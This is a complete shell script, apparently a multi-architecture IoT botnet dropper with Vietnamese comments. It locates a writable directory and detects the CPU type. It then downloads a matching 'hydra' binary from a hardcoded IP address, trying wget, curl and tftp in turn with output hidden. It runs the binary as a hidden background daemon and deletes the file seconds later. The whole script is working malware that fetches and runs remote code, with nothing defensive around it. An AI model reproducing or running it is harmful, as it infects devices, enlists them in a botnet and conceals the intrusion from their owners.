#!/bin/sh

# Tim thu muc writable va thuc thi duoc (tranh noexec)
DIR=""
for d in /tmp /var/run /dev/shm /mnt /root /var; do
    if [ -w "$d" ]; then
        DIR="$d"
        break
    fi
done
[ -z "$DIR" ] && DIR="/tmp"
cd "$DIR"

# Nhan dien kien truc CPU
A=$(uname -m)
B="x86"
case "$A" in
    *armv5*) B="armv5" ;;
    *armv6*) B="armv6" ;;
    *armv7*|*arm*) B="arm7" ;;
    *aarch64*|*arm64*) B="arm64" ;;
    *mips64el*) B="mips64el" ;;
    *mips64*) B="mips64" ;;
    *mips*el*|*mipsel*) B="mipsel" ;;
    *mips*) B="mips" ;;
    *i686*|*i386*) B="i686" ;;
    *x86_64*|*amd64*) B="x86_64" ;;
    *riscv64*) B="riscv64" ;;
    *ppc64le*) B="ppc64le" ;;
esac

HTTP_HOST="160.22.106.91"
TARGET=".hydra_$B"

rm -rf "$TARGET" "hydra.$B"

# Tai truc tiep theo arch, fallback wget -> curl -> tftp
wget -q "http://$HTTP_HOST/hydra.$B" -O "$TARGET" >/dev/null 2>&1 || \
busybox wget "http://$HTTP_HOST/hydra.$B" -O "$TARGET" >/dev/null 2>&1 || \
curl -s -o "$TARGET" "http://$HTTP_HOST/hydra.$B" >/dev/null 2>&1 || \
busybox curl -o "$TARGET" "http://$HTTP_HOST/hydra.$B" >/dev/null 2>&1 || \
(tftp -g -r "hydra.$B" "$HTTP_HOST" >/dev/null 2>&1 && [ -f "hydra.$B" ] && mv "hydra.$B" "$TARGET") || \
(busybox tftp -g -r "hydra.$B" "$HTTP_HOST" >/dev/null 2>&1 && [ -f "hydra.$B" ] && mv "hydra.$B" "$TARGET")

# Chay Pure P2P Daemon
if [ -f "$TARGET" ]; then
    chmod 777 "$TARGET"
    ./"$TARGET" >/dev/null 2>&1 &
    (sleep 3; rm -f "$TARGET") >/dev/null 2>&1 &
fi